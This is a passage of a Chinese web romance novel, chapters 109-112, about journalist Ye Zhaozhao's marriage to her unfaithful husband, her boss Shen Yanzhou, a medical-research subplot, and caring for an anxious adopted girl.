他抬手看了眼腕表,道:“既然没打算辞职,现在几点了,还在这儿磨什么洋工?”
我心里一凛,连忙点头:“我现在就去!”
说完,我跟着沈宴州往电梯口走。
……
电梯门合拢的瞬间,我紧张得连呼吸都放轻了几分。
沈宴州没有看我,话却是对我说的:“公司是让你工作的地方,不是处理私人感情**的场所。以后,要是处理不好私事,你也不必再来上班了。”
我心脏猛地一缩,一股委屈莫名涌了上来。
我本想解释一下今早的情况,可忽然想起之前他说过,他只是我的上司,并不关心我的私事。
所以我到嘴边的话又咽了回去,只剩下喉咙发紧。
就在这时,电梯猛地一震,轿厢带着强烈的失重感往下坠。
我吓得尖叫声卡在喉咙里,身体不受控地往旁边倒。
一双有力的手臂突然环住我的腰,将我稳稳扣在怀里。
沈宴州的掌心贴着我的后背,带着清洌的木质须后水味笼罩下来。
电梯卡在了不知道几楼,突然停了,没再继续往下坠。
我积压了一早上的情绪再也绷不住。
被自己女儿欺骗、亲眼看见丈夫和情人赤裸在床、被沈宴州误解,偏偏电梯还发生了故障!
所有情绪混在一起,我鼻子一酸,眼泪突然就掉了下来,肩膀轻微地颤抖着。
后背上那只手安抚着我,很轻很温柔。
平日里如身在高岭,矜贵冷漠的男人,此刻的声音里裹着点不易察觉的软:“连地震都不怕的叶记者,怎么被电梯故障吓哭了?”
我猛地回神,赶忙离开他怀里。
脸颊似乎在发烫,我胡乱抹掉眼泪,低头小声道:“抱歉,沈总。我失态了。”
他没说话,只是站在原地看着我。
我不敢抬头,却能感觉到他的目光落在我脸上,沉得很。
过了几秒,他才收回目光,抬手按下了轿厢里的紧急呼叫键。
电话接通后,他只报了名字和电梯位置,那头的维修人员立刻慌了神,连说“马上到”,语气里满是战战兢兢的紧张。
电梯门重新打开时,维修人员已经候在门外,手里还攥着工具。
见门开了,几人立刻上前,头埋得极低:“沈总,实在抱歉,是我们维护不到位……”
沈宴州没看他们,面容是惯有的冷硬,仿佛刚才他在电梯里安抚我时的温柔只是我的错觉。
他目光扫过人群,声音没带一丝温度:“谁是负责人?”
话音刚落,一个别着“经理”胸牌的男人立刻挤过来,脸上堆着谄媚的笑:“沈总,是我!这事是我们的疏忽,我马上安排全面检修……”
沈宴州打断他,语气没有丝毫转圜,“从今天起,你不必在这里上班了。”
男人的笑瞬间僵在脸上,急忙辩解:“沈总,我……这故障是突发的,我真的已经安排过检查了……”
沈宴州没再听,转身径直往旁边的备用电梯走。
我心里一紧,连忙跟上。
这是我第一次见他如此冷酷,一句话就断了别人的工作。
或许是之前他帮过我太多次,我对他有了好人滤镜,总觉得他跟顾时序是不一样的。虽然身处上位,可他比顾时序要温和宽容很多。
直到我刚才看见那一幕,才发现,资本家果然都是一样的。
想起打工人的不易,我犹豫了几秒,还是小声开口:“沈总,其实电梯故障,也不是他造成的。”
他脚步顿住,转头看我。
目光落在我脸上时,一字一句道:“可是,他把你吓哭了。”
我猛地愣住,心脏好像重重撞击了一下胸膛。
他……他是因为我哭了,才开除那个经理的?
还没等我理清思绪,沈宴州又开口:“你哭得我心烦,下次别在我面前哭。否则,或许还有别人遭殃。”
我下意识吞了口口水,莫名有点怕他,只能轻轻点头。
看来,又是我自作多情了。
是我哭到他心烦,心情不好,才把气撒到那个经理身上的吧?
这时,备用电梯门开了。
乔丽正好站在门口,脸上满是紧张和急切。
她一看见沈宴州就立刻迎上来:“沈总!我听说您刚才被困在电梯里了?没事吧?”
沈宴州皱了皱眉,语气透着一抹不耐:“电梯故障而已,至于这么大惊小怪的?”
说完,他径直从乔丽身边走过,头也不回地往办公室去,完全没把她放在眼里。
乔丽的脸色瞬间变得难看,她没追上去,反而转身拦住我,眼神带着审视和敌意:“你刚才跟沈总一起在电梯里?”
我反问:“怎么了?”
“叶昭昭,我警告你,收起你那些心思!沈总可不是你能惦记的!”
她压低声音,咬牙道:“别忘了,你是有夫之妇,就算顾总不要你了,你也不过是个弃妇!你以为沈总这样的男人,能看得上你?”
我露出一副气**不偿命的微笑,道:“乔秘书,这话你应该对你自己说。沈总看不看得上我不敢说,反正,他肯定是看不上你。”
乔丽一副紧张的样子,拉住我,恨恨的问:“刚才电梯里你们发生了什么,是不是?”
我语气不冷不热的道:“那你去问沈总啊!我不想回答你。”
说完,我特意看了眼她气得快要扭曲的表情,转身走向自己的工位。
……
傍晚下班,我刚走出公司大楼,便看见了顾时序那辆迈巴赫停在门口。
周围还有两个女同事小声讨论着:“那辆迈巴赫中午就在这了,到现在还没走,到底在等谁啊?”
另一个感叹道:“肯定是等女人呗!真想看看能让富豪等这么久的人长什么样。”
我径直走向车库,顾时序却开车跟了上来。
直到我在一家咖啡店停下,他也推门走了进来,径直坐在我对面。
之所以没回家,一是怕他追我追到家里,赶不走。
另一个,是我想问问他,什么时候跟我去民政局?
顾时序以为我这么做,是为了给他机会解释。
刚坐下,他就凝重地看着我,道:“昨天,我和雅欣都被我妈下了催情的药,我……当时真的思维不受自己控制了。昭昭,你相信我,我跟她在昨晚之前绝对没有发生过任何不正当的关系,我用人格保证!”
我盯着他,笑了下,道:“一个出轨四年,把老婆的亲生女儿抱给小三养的男人,你有人格吗?”
这句话顿时像是踩到了顾时序的逆鳞。
他在我面前本身就高高在上,刚才那般解释,对他来说,或许已经是极限了。
可我没有接受他的道歉,他瞬间有些懊恼,厉声道:“人总要向前看!我已经努力扭转局面了,你为什么看不到我的改变?”
我疲惫地叹了口气,有些话反反复复说的真挺累的。
我不再奢求他懂我,更不再奢求他能反思什么?
所有我直接切入正题:“离婚,对你,对我,对她,都好。我们已经走到这一步,你觉得这种婚姻维持得还有意思吗?”
“我不会同意离婚的。”顾时序的黑眸骤然变冷,语气带着威胁,“叶昭昭,你**这条心吧!”
每当他这么说的时候,我都近乎于绝望。
曾经奢望他的爱这么难,可为什么现在我连离开,都还要为难我?
我忍着眼眶的酸涩,道:“只要我把结婚证公开,所有人都会知道你出轨。毕竟你之前在镜头前那么高
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调宣布你和苏雅欣在一起了。大家只要对比下结婚日期,就知道你们是什么样的人。顾时序,你也不想走的这一步吧?”
“那你怎么不公开?”顾时序冷笑一声,语气带着嘲讽,“是怕撕破脸,让叶家还有你母亲为你的冲动买单,不是吗?”
他顿了顿,眼神变得越发残忍:“对了,我已经决定无限期延迟心肺支持仪的上市,你买不到的。就算是沈宴州,他也没本事买到!你什么时候消停了,再给我生个孩子,那套设备就什么时候上市。否则,你只能在离婚和你母亲的性命之间选一个!”
我只觉得一股怒火直冲头顶,拿起面前的咖啡,毫不犹豫地泼在顾时序脸上。
顾时序坐在原地,没有躲,他的眼神却让我不由得感到心惊。
他这种狠戾,仿佛杀疯了的目光,我只在他商战时,对着满屏股票走线的时候见到过。
再后来,他把人家给逼**!而且是逼**人家全家!
我看着他,心彻底沉了下去。
……
回家的路上,我死死握着方向盘,恨不得跟他同归于尽算了!
可冷静下来之后,我已经坐在书房里,在国内外的科研网上搜索关于我母亲植物人状态导致的心肺衰竭最新治疗方法。
网页一页页跳转,大多还是绕回顾氏的技术。
就在这时,一篇行业快讯突然跳出来。
《新锐科研公司斥资十亿,招募全球心肺领域科研团队》。
我眼前一亮,屏住呼吸逐字细读起来。
这家公司所研究的疾病,竟跟我母亲现在的状况如此相似。
而且,这家公司的目标是准备在一年内,研发出针对此种疾病最有效的治疗方案。
这个消息对我来说,如同黑暗里的一束强光,让我终于有了摆脱顾时序的希望。
我立刻查询了关于这个项目的发起人,是一个在国际科研界很有威望的医学专家,名叫沈玄清。
刚好明天海城有一个国际心血管峰会,他正好是其中发言的代表之一。
为了得到关于这个项目一些最新的消息,我立刻给公司打了报告,说明天想去那个学术峰会采访。
主编很快就同意了。
……
第二天的海城国际心血管峰会现场,满是业内精英,还有些是峰会的举办方和投资商。
我刚戴上记者证穿过人群,视线就猝不及防撞进一道熟悉的身影。
顾时序穿着剪裁得体的藏青色西装,正站在会场中心与人交谈,一如往常的高高在上。
我下意识想避开,毕竟,我今天的目标是沈玄清。
而顾时序已经看到我。
他眉头微蹙,眼神里带着几分审视,仿佛笃定我是冲着顾氏的设备来的。
就在这时,我看到苏雅欣和他的父亲、哥哥一起走到了顾时序身边。
顺着顾时序的目光望过去,他们一家人都看见了我。
随即,苏雅欣亲昵地挽上顾时序的手臂,向我走来。
走到我面前时,苏雅欣嘴角勾起一抹炫耀又轻蔑的笑,活像宣示**的孔雀。
苏仲平和苏启明站在顾时序身后,父子俩目光沉沉地盯着我,带着毫不掩饰的敌意。
苏启明先开了口,声音不大却满是嘲讽:“做人留一线的道理,现在懂了吧?当初叶小姐不给我们家留条活路,现在你跑到这儿来想靠采访套消息,你觉得能得逞吗?”
我忍不住轻笑了声,幽幽地说:“苏先生,你未免太自作多情了。就凭你,还不够资格让我专门跑一趟来采访。我今天要找的人,是沈玄清教授。”
“你要采访沈玄清?”
苏雅欣的脸色瞬间变了,立刻拔高声音指责我,“叶小姐,你是故意的吧?他现在搞的那个科研项目,明摆着就是跟顾氏为敌,想分走时序哥的生意!你有没有替时序哥想过?好歹,你们也是夫妻啊!”
“哦?苏小姐还知道我跟他是夫妻?不对吧!我跟他是夫妻,那你苏雅欣又算什么呢?”
我眉尾微挑,似笑非笑地看着她。
第110章 沈宴州让我跟他回家
苏雅欣脸色惨白,又怕在这里闹起来她自己没脸,只能咬牙忍了。
顾时序却在此时开口了。
他语气笃定又带着点施舍般的提醒:“恐怕你还不知道,沈玄清从不接受任何媒体采访。他那个科研项目更是重中之重的机密,别说你只是个记者,就算是业内大佬,也别想从他那儿问出半个字。你今天来,不过是白跑一趟。你采访他,倒不如采访我。”
他说完,苏家父子和苏雅欣脸上带着些许看笑话的意味。
恨不得就看着我现在卑躬屈膝地求顾时序给我点内幕消息。
就在苏家众人的嘲弄快要溢出来时,一道温和慈祥的声音从身后传来:“昭昭?你怎么在这儿?”
我猛地回头,竟看见沈老夫人穿着一身素雅的大衣,已经缓缓走到我旁边。
“老夫人,您也来了?”我快步走过去,又惊又喜,“我今天是来采访沈玄清教授的,倒是您,怎么也在这儿?”
沈老夫人冷冷的眼神从顾时序身上扫过。
随即,目光中露出一抹厌恶,瞥了苏雅欣一眼,旁若无人的跟我说话。
“你采访沈玄清?”她问。
我点点头,为难的道:“就是听说沈教授好像从来都不接受采访。不过,今天也没算白来一趟,至少见到了您。好久没见您了,怪想您的。”
“采访玄清啊,这有什么难的。”
沈老夫人笑了笑,抬眼看向会场另一侧正与人交谈的身影,扬声喊了句,“玄清,你过来一下。”
那道被众人簇拥的身影闻声转头,正是我要找的沈玄清教授,甚至比照片里更为清瘦一些。
他快步走过来,礼貌地看向老夫人:“妈,怎么了?”
我瞳孔微缩,才反应过来。
包括顾时序他们一行人,也都愣住了。这层关系显然也超出了他们的预料。
毕竟,沈玄清在学术界的牌子太响了,他完全是靠自己搏出了一片天地,以至于别人提起沈玄清完全忘记了他的身份和背景。
沈老夫人先跟我介绍道:“玄清是我的小儿子,也是宴州的二叔。今天我在家闷的慌,就跟他过来散散心。”
说完,她又跟沈玄清介绍我:“这是昭昭,上次我跟你提过的,还记得吗?”
沈玄清恍然大悟,点头道:“哦,就是您想介绍给宴州的那个孩子?最后……好像是什么原因来着,黄了?”
沈老夫人尴尬的轻咳了声,而顾时序眼神凌厉至极,可他是个极其理智的人,哪怕再生气,他也不会再公共场合挑明我跟他的关系。
我尴尬地开口道:“沈教授,不知道您有没有时间?我今天来是特意想就您目前开展的新项目做一个采访。”
沈玄清温和地说:“当然。叶记者写过的报道,很多都是热点,我知道你。”
就这样,他看在沈老夫人的面子上,并没有拒绝,直接答应了。
而不远处的顾时序,脸色已经沉得要命,眼底满是不甘,却又无可奈何。
苏雅欣就更不用说了,看着我跟沈家人搭上线,她眼底的嫉妒都藏不住了。
只有苏启明不知死活地说了句:“切,一个刚刚开展的项目,也好意思出来博眼球!”
沈玄清像是把他的话当做了空气,本来要去休息室接受采访的他,直接就在他们面前接受了我的采访。
“我们的项目目前以药物治疗为核心,已经取得了突破性进展。相比传统设备,这种药物能直接作用于病灶,对病人的创伤更小。如果接下来的临床试验顺利,预计一年后就能上市。而且,价格肯定要比二百万一台的心肺支持仪便宜很多。就连普通老百姓,都可以用得上。”
他说完,苏家父子脸色都白了。
这就意味着,如果沈玄清的项目一旦成功,苏仲平花费了十年研究出的设备将直接被市场抛弃。
而顾氏前期为这个设备投入了几个亿资金,也将全部亏损。
沈玄清的语气虽然平淡,但很坚定,这也给了我很大的信心。
一旦这种药物上市,我就能彻底摆脱顾时序了。
到时候,我甚至可以直接跟他撕破脸,曝光他出轨,曝光苏雅欣是小三,把他们所有的丑事全都公之于众。
想到这儿,我拿着麦的手都忍不住微微颤抖。
采访完毕,沈老夫人对我道:“你好久没去家里吃饭了。正好今天遇到了,走,跟我回家,好好吃顿饭。”
这时,顾时序突然开口道:“叶昭昭,最近朵朵身体有点不舒服,可能是手术后遗症。你要不要跟我一起回去看看?”
我顿了顿,随即道:“她看到我,只怕会更不好。有你在就够了!我就不去给她添堵了。”
说完,我望向沈老夫人,道:“老夫人,那我就不跟您客气了,又去您那儿蹭顿饭。”
“跟我还客气什么?”
沈老夫人冲着顾时序他们冷哼了声,直接带着我离开了会场。
……
沈家。
今天这顿饭吃的还算轻松,沈宴州不在家。
虽然我跟沈玄清不熟,但由于没有沈宴州那种沉沉的压迫感,我至少不会这么紧张。
吃饭时,沈老夫人突然问:“玄清啊,我记得你之前不是在研究关于什么先天性心脏病的项目吗?怎么突然转到心肺领域了?”
沈玄清笑了下,道:“说起来,还多亏宴州。这次的项目,是他投资的。我后来查了不少资料,也确实这个领域的成果不多,是个可以研究的方向。”
我拿筷子的手顿住了,沈宴州投资的?
我不敢再往下想。
沈老夫人也没再接话,目光在我身上停了会儿,对沈玄清道:“对了,要不下午,我带你去看看昭昭母亲吧?她母亲就是这个病。你看看,对你的研究有没有什么帮助?”
“好。”
沈玄清点点头,答应了。
我感激地望着老夫人,沈家真是我的贵人,所有人都是。
中午吃完饭,沈老夫人午休了一会儿。
然后,我们一行人便去了我母亲所在的医院。
沈玄清看到病床上的我母亲时,突然愣住,像是很震惊:“这……这不是……?”
沈老夫人点点头,道:“对,她是婉华。难为过了这么多年,你还能认得出她。”
沈玄清站在原地,喃喃道:“我当然认得。只是,怎么会这么巧?”
沈老夫人道:“之前有一次婉华还被污蔑,闹到了媒体上,那次你没看新闻吗?我还以为你知道。”
“我新闻一般只看关于学术的,哪里知道这些?”
沈玄清深深叹了口气,道:“她居然变成了这样?大夫怎么说?醒不过来了吗?”
我闷闷地开口道:“我妈妈已经躺在这里二十年了。医生说醒来的希望微乎其微,现在只能尽力保住命,延缓她的生存时间。”
沈玄清就这么望着我妈妈愣神儿,不知道在想些什么,也不说话。
还是沈老夫人提醒道:“玄清,你怎么了?”
沈玄清立刻收回目光,尴尬地笑笑,道:“以前婉华总是来家里找您学钢琴,那时候的她,多美啊!”
沈老夫人感叹道:“是啊,所嫁非人。哎,婉华这母女俩,都是所嫁非人!”
说到这儿,她对沈玄清道:“你可一定要尽力把药物研发出来,免得顾时序那个混账小子整日里拿这个威胁昭昭。”
沈玄清顿了顿,点头道:“好,我尽力。”
“谢谢您,沈教授。”
我几乎把他当做了唯一的救命稻草,道:“我等您的好消息。”
……
转眼间,日子到了周五。
主编从下周开始,就正式离职了,由孟云初接替主编一职。
我们新闻部集体去酒店包了个房间给主编送行。
孟云初还订了个KTV,兴致勃勃地说:“等吃完饭,大家一起去唱歌!”
虽然上次我们通知了沈宴州。
但想想也觉得我们这种小公司的娱乐项目,沈宴州又怎么可能看得上?
可我们到了酒店没多久,就听见有人说了句:“天啊,沈总怎么来了?”
我和孟云初同时震惊。
而主编已经把中心位置让了出来,给沈宴州坐。
本来谈笑风生的包厢,瞬
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间因为沈宴州来了,而鸦雀无声。
这场部门聚餐好像突然变成了“加班”。
尽管沈宴州淡淡说道:“大家不必拘谨,今天我来,也是给主编送行。”
说是这么说,可他身上带来的距离感和上位者的压迫感,谁敢真不拘束?
孟云初悄悄拿出手机在无领导群里发了条信息:“晚上的KTV取消(哭)。”
同事们各个失望,可又不得不挤出笑容讨好着沈宴州。
这一场饭局下来,这个敬沈宴州一杯,那个敬沈宴州一杯,沈宴州喝了不少。
而我因为开车过来的,没喝酒。
一场饭局大家提心吊胆地吃完,总算结束。
说实话,这算是我最快结束的一场聚餐了。
结束后,沈宴州拒绝了主编送他回去的提议,淡声道:“我等助理过来。”
而我先去了趟洗手间。
离开时,恰好遇到酒店大门口,乔丽匆匆赶过来,“沈总,高朗家里临时出了点事,让我来送您回家。”
我装作没听见,只想快速从他们身边溜走。
可我刚走出几步,就被沈宴州叫住:“叶昭昭,你送我。”
我只好停住,硬着头皮回头:“我?那乔秘书……”
大概是我拒绝之意有点明显,沈宴州不怎么高兴。
乔丽剜了我一眼,赶忙对沈宴州道:“沈总,我是您的秘书,送您回家是我分内的事。”
沈宴州瞥了她一眼,语气已经开始发冷:“你分内的事,是我说了算。还有,你的香水味熏得我头晕。”
乔丽瞬间尴尬得不知所措。
而沈宴州直接将车钥匙丢给了我,“送我回家。”
我拿着他的车钥匙,没法再拒绝,就这样,我们一起去了车库。
身后乔丽的目光像是能剜掉我一块肉似的。
到了车库,我绕到驾驶座,很快,副驾驶那边的车门打开。
我一愣,还以为沈宴州作为上司,肯定是坐在后排,把我当做司机而已。
沈宴州停在原地没再往里进。
他看着我错愕的表情,问:“我不能坐这儿?怕我吃了你?”
我赶忙摇摇头,“没……这是您的车,您想坐哪儿都行。”
沈宴州突然关上车门,还是去了后排坐下。
我似乎感受到了男人的不悦,也不敢吭声,缓缓将车驶离车库。
透过后视镜,我看见沈宴州靠在椅背闭目养神,长睫垂落遮住眼底,连呼吸都比平时沉些,染上了些许醉意。
我小心翼翼的开口问:““沈总,您是去沈家老宅吗?”
男人依旧微闭着眼,薄唇轻启:“回我自己家。”
见我没有回应,他睁开眼睛,透过后视镜与我对视。
他嗓音低哑,带着些说不清道不明的意味:“你不是去过?还在我家睡过一觉。别告诉我你忘了。”
我心脏猛地一跳,脸也跟着热了,连忙道:“哦,我……我记得。”
一路我没敢再开口,只觉得心跳有些乱。
直到车子稳稳停在他家别墅门口,我松了口气。
我下了车将钥匙还给他,跟他道别:“沈总,那您好好休息,我先回去了。”
“等等。”
他叫住了我,轻轻捏了捏眉心,道:“有个忙,需要你帮。跟我进来。”
我站在原地犹豫地看着他。
这么晚了,孤男寡女的……
“这、这么晚了不太方便吧?我回去还要更新小说,读者还等着……”
话没说完,沈宴州突然拉住我的手腕,直接将我往别墅里带。
可刚进门,我就愣住了。
客厅沙发上坐着个跟朵朵年纪差不多的小女孩。
小姑娘怀里抱着只兔子玩偶,垂着脑袋,乌黑的头发遮住小半张脸,安安静静的。
连我们进来,她都没抬头,整个人透着股孤零零的劲儿。
我脑子忽然有点懵,楞楞地看着沈宴州,结结巴巴地问:“你……你家孩子……这么大了?”
不是说他是钻石王老五,一直没找对象吗?
之前也没听沈老夫人说过沈宴州有个这么大的女儿啊?
第111章 舅舅有孩子了?
沈宴州瞥了我一眼,没回我,而是问佣人:“今天珊珊怎么样?”
佣人脸上满是为难:“沈先生,这孩子从昨天来就一直不说话,饭也吃得少,您看……是不是得找医生看看?怕不是有什么毛病?”
沈宴州微微叹了口气,打发走了佣人,缓缓走到珊珊面前。
他高大的身子蹲下,语气格外温柔:“珊珊,饿不饿?有没有什么想吃的?”
珊珊摇摇头,“不想吃。”
沈宴州无奈,站起身来,终于想起了在旁边一脸好奇的我。
“上次在高尔夫球场你见过的霍明琛,还记得吗?这是他女儿。不过……”
他说完,我恍然大悟。
搞了半天,是霍明琛的女儿。
沈宴州话锋顿了顿,道:“他夫妻俩最近闹了点别扭,没办法照顾孩子,就先把人放我这儿了。但我接下来要跑好几个城市出差,实在腾不开手,你能不能帮我带几天?”
我望着眼前缩在沙发角落的小女孩,有些疑惑,按说霍家的小千金不该是这种状态啊?
她看着跟朵朵差不多大,可完全没有朵朵平日里的自信张扬,反而双手紧紧攥着裙摆,连头都不敢抬。
我走到她跟前,试探着跟她沟通:“你叫什么名字呀?”
小姑娘怯怯地看着我,不说话。
“霍珊。”沈宴州替她答了,又补充道,“你平时叫她珊珊就行,好记。”
这时,霍珊一双大眼睛里突然涌出眼泪,可怜巴巴地望着沈宴州:“沈叔叔,爸爸妈妈是不是不要我了?你是不是也不要我了?”
沈宴州见状,重新蹲在她面前,声音刻意放轻,生怕吓着她似的。
“沈叔叔是怕自己照顾不好你,最近事情太多了,让这位阿姨带你几天。等叔叔忙完这阵,马上就把你接回来,好不好?”
霍珊半信半疑地看着他,不敢拒绝,但看得出她很委屈。
随后,沈宴州让我跟他去阳台,压低声音讲起霍珊的身世。
“其实珊珊是孤儿。当初霍明琛的妻子一直怀不上,去泰国找了所谓的高人,说要收养个孩子才能‘招子’,就从孤儿院把珊珊接走了。结果去年霍明琛的亲生女儿出生,他老婆立马就变了脸,非要把这孩子送回孤儿院去。是霍明琛和霍家老人拦着才没成。只不过最近霍明琛的太太更是变本加厉找珊珊麻烦,小孩子在霍家也是受罪。霍明琛实在没办法,才把孩子送到我这儿来。”
听着这些话,我心里一阵发紧。
因为我也是被收养的,要是当初叶家像霍太太这样,我恐怕也会落得和珊珊一样的境地。
想到叶家父母把我当亲生女儿一样对待,从小给我优渥的生活、良好的教育,我依然无比感激。
我回头看了眼客厅里孤零零的小女孩,为难地说:“我可以帮你照顾她一段时间。但我白天也要工作,这么小的孩子总不能让她一个人在家里吧?”
沈宴州道:“我已经联系好了圣辉幼儿园,明天一早你就可以把她送去。”
我有些意外,圣辉幼儿园?还真是巧,宋今若她家的。
最终,我答应了。
沈宴州帮过我太多次,这次刚好还他一点人情。
我和沈宴州说好之后,我们回到客厅。
坐在沙发上的霍珊刚好抬头看过来,只是那双水汪汪的眼睛里满是挥之不去的畏惧,像只受惊的小兽,让人看了格外心疼。
虽然她对我很陌生,看着也并不想跟我走,但沈宴州开口了,她就点点头,像个被遗弃的孩子。
沈宴州将她粉色的小行李箱递给我,道:“这里是她的日用品和衣服。还有一张银行卡,是霍明琛放进去的,算是她的生活费。”
我接过箱子点点头。
霍珊怀里依旧抱着那只兔子玩偶,另一只手被我牵着离开了沈宴州的别墅。
因为我晚上是开沈宴州的车把他送过来的,所以回去的时候,他让我开他的车回。
小姑娘安静的坐在我旁边,无论我问什么,她都不说话,沉默得像是空气。
想到佣人说她没怎么吃饭,到家后,我道:“珊珊,阿姨会烤饼干,你想吃吗?”
霍珊终究是个孩子,眼中露出一抹好奇。
我笑了笑,开始准备食材:“我们今晚可以多烤一些,明天你第一天去幼儿园,可以给小朋友们带一些。”
她终于冲我笑了,重重点了下头。
我看了眼时间,道:“现在已经九点了,阿姨先带你洗澡,洗完再给你烤饼干,好吗?”
珊珊迟疑了一下,道:“我会自己洗澡的,每天都是我自己洗。”
我惊讶地看着她。
朵朵有时候穿衣服都要顾时序帮着穿,这孩子竟然能一个人洗澡。
就这样,我去浴室给她放了水,把睡衣给她在置物架上,叮嘱道:“要是你洗澡的时候需要帮忙,一定要叫阿姨,知道吗?”
“嗯。”
她答应了之后,我便去了厨房去做饼干。
毕竟,她第一天入园,她那么内向,得用一些小朋友感兴趣的方式才能跟别人打成一片。
霍珊洗完澡便出来看我做饼干。
小姑娘身上香喷喷的,把自己打理得很好,连头发都是自己吹干的。
我心底格外柔软,也很心疼她。
做好饼干时,已经十一点多了。
“要不要尝一尝?”
我把饼干分装一部分让她明天带到幼儿园,特意给她留下了一部分。
霍珊一开始还有点不好意思,可大概是因为饿了,又或者刚烤出来的饼干奶香诱人,她还是拿着吃了起来。
……
翌日一早,小姑娘比我醒得还早,被子叠得好好的,正在自己梳头发。
我都惊呆了,想插手都插不上手。
可这一切在霍珊那里,好像都**以为常了。
我省了不少心,吃完早餐,便带着她一起去了幼儿园。
……
圣辉幼儿园门口。
我停稳车,在车旁叮嘱珊珊:“一会儿进去之后,要主动跟小朋友们打招呼。阿姨路上交你的自我介绍,还记得吗?”
“嗯,记得。”霍很认真的道:“我叫霍珊,来自江城,希望以后能跟大家成为好朋友。”
我欣慰地笑了笑,摸了摸她的小脑袋,道:“对了!真聪明。”
说完,我从车里拿出饼干盒子递给她,“上午把这些跟小朋友们分享,知道吗?”
“知道,谢谢阿姨。”
她将饼干盒子抱在怀里,很珍惜的样子。
就在这时,一个熟悉的童声传了过来:“爸爸,你快看!那不是她吗?”
我望过去。
果然,朵朵正指着我,另一只手被顾时序牵着。
我对这父女俩早已失望透顶,直接忽略了他们,牵住珊珊的手准备送她进去。
就在这时,顾时序直接拦住我的路。
他看到我身旁的车,一眼就认出了是沈宴州的。
下一秒,他眼神就冷了下来,质问道:“这个孩子是谁的?”
霍珊被他冷硬的语气吓得一哆嗦,立刻躲到了我身后。
我将她往身后护了护,抬眼迎上顾时序的目光,声音没带一丝温度:“不关你的事。”
顾时序上前一步,突然伸手握住我的手腕,“就这么着急去给沈宴州的孩子当后妈?别忘了,我们还没来离婚,你现在还是顾太太!”
我看着他眼底的怒火,冷嗤了声:“好啊。顾总敢不敢现在当着幼儿园这么多家长的面,告诉他们我是你太太?”
周围已经有家长好奇地朝这边看过来。
顾时序的脸色铁青,握着我手腕的力道松了。
我抽回手,冷声道:“一个连自己的婚姻都不敢承认的男人,凭什么对我提这么多要求?”
“爸爸!”
一旁的朵朵伸手拉住顾时序的手,傲娇地昂了昂下巴,道:“理她做什么呀?我早就说过她不可能是我妈妈!她要真是我妈妈,为什么对别的孩子这么亲?”
顾时序的脸色更难看了,冷冷地扫了我身后的霍珊一眼,牵着朵朵走进幼儿园大门。
他们走后,我低头看向身后受惊的霍珊,伸手轻轻摸了摸她的头,柔声道:“别怕,没事了。”
刚走到教室门口,就看到宋今若已经在那里等我。
路上我已经跟她联系过了,她也已经交代过老师珊珊胆子小,会多多照顾珊珊。
很巧的是珊珊和朵朵在同一个班。
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我送完她没有立刻走,因为不放心霍珊,所以跟宋今若一起站在教室门外,从窗户那儿望着里面的情况。
霍珊自我介绍完之后,抱着饼干盒,怯生生地走到小朋友中间。
她从盒子里拿出饼干,一个个递过去。
小朋友们纷纷接过饼干。
不一会儿,立刻有人出声:“哇,这个饼干好好吃!”
还有人附和:“对啊,好好吃哦。怎么跟上次顾依朵带来的饼干味道这么像!”
这时,霍珊刚好把饼干发给朵朵。
可朵朵却直接抬手把饼干打落在地,皱着眉喊:“我才不要!什么破饼干,一看就很难吃!”
我心里一紧,下意识地想进去,却被宋今若拉住了。
她在我旁边压低声音,语气带着猜测:“该不会是朵朵那丫头吃醋了吧?看着自己妈妈对别人这么好,心里不舒服了?”
我愣了一下,随即苦笑着摇了摇头:“这怎么可能?她心里根深蒂固地以为苏雅欣才是她妈妈,怎么会因为我对别人好而吃醋?”
宋今若忍不住吐槽:“也是,这个小白眼儿狼!”
说到这儿,她若有所思地道:“不过,我还真得跟老师们交代交代,别让朵朵欺负了这孩子。”
我又呆在门口看了会儿,除了朵朵,其他小朋友对霍珊还是很友好的。
我这才放心地离开这里去上班。
……
到达公司时,我预料之中的迟到了。
孟云初紧张兮兮地看着我,道:“你怎么净撞枪口上啊!沈总不来,你不迟到。怎么**迟到,都碰上沈总来咱这儿?”
我无语地想,这次我可是帮沈宴州办事,总不可能再挨训吧?
就在这时,乔丽走了过来,一副高高在上的样子兴师问罪:“叶昭昭,你又迟到了!沈总让你现在立刻去办公室!”
孟云初担忧地看着我。
我一时间也搞不清楚沈宴州的心思了。
难道**我早上要先送霍珊去幼儿园?
乔丽冷哼了声,催促道:“还愣着干什么!”
我没有理会她,径直往沈宴州办公室走去。
敲门后,乔丽跟我一起进去,对沈宴州道:“沈总,我查了一下叶昭昭这个月的考勤打卡,迟到的次数非常多。这个公司沈氏刚收购,考勤上的漏洞实在太多了。您看,要不要……”
她火上浇油还未尽兴,便被沈宴州打断:“我让叶昭昭帮我办点事,以后,叶昭昭的考勤你不必管。至于其他人的,自有公司人事管理。乔秘书你做好自己的事就好,出去吧!”
乔丽原以为我是进来挨批的。
可没想到,沈宴州却在我面前把她警告了一番。
乔丽挤出一抹比哭还难看的笑,道:“好的,沈总。”
临走时,她还暗暗瞪了我一眼。
办公室的门被重新关上,沈宴州一边看文件,一边问:“珊珊去幼儿园了?情况怎样?”
“挺好的,跟小朋友们关系相处得很融洽。”我笑了笑,道:“她很乖,也很懂事。”
沈宴州点点头,然后打开抽屉,拿出了一个天蓝色的礼盒递给我。
“送你的。”
我顿了顿,问:“这是……”
沈宴州沉稳的脸色仿佛划过一抹不自在,若无其事的解释:“别误会,是霍明琛为了感谢你照顾他家孩子。”
“哦,这样啊。”
我恍然大悟,然后道:“礼物就算了,珊珊挺乖的,并不费什么事。”
毕竟,我看着这个礼盒的品牌,里面的东西肯定不便宜。
沈宴州就这么望着我,干净镜片下的眼神透着些许深意:“打开看看,万一,你喜欢呢?”
我不好再推辞,便将那个礼盒打开。
礼盒里静静躺着一条帕拉伊巴蓝碧玺手链,净度和颜色都是极品,干净得像是湛蓝的海。
我恍惚了一下,霍明琛还真是会选礼物,他怎么知道我喜欢蓝色?
“看样子,是喜欢了。”
沈宴州指节支着下颌,嘴角难得露出一抹弧度,“喜欢就拿走,我不喜欢送出去的东西再收回来。”
我错愕了一下,顺着他的话问:“您刚才不是说……这是霍先生送的吗?”
第112章 他这该死的人夫感!
沈宴州清了清嗓子,道:“嗯,没错。你收下就是了,问这么多做什么?”
还没等我再开口,他便下了逐客令:“出去工作吧!”
“哦,那……您替我谢谢霍先生。”
我说完,直接当着沈宴州的面将这条碧玺手链戴在了手上。
沈宴州微微意外,似乎觉得我有点迫不及待?
我连忙解释道:“这盒子太显眼了,我这么拿着出去不好。戴在手上用衣服一遮,别人也看不出什么。”
沈宴州唇角微勾,道:“你考虑的还挺周到的。”
“过奖。”
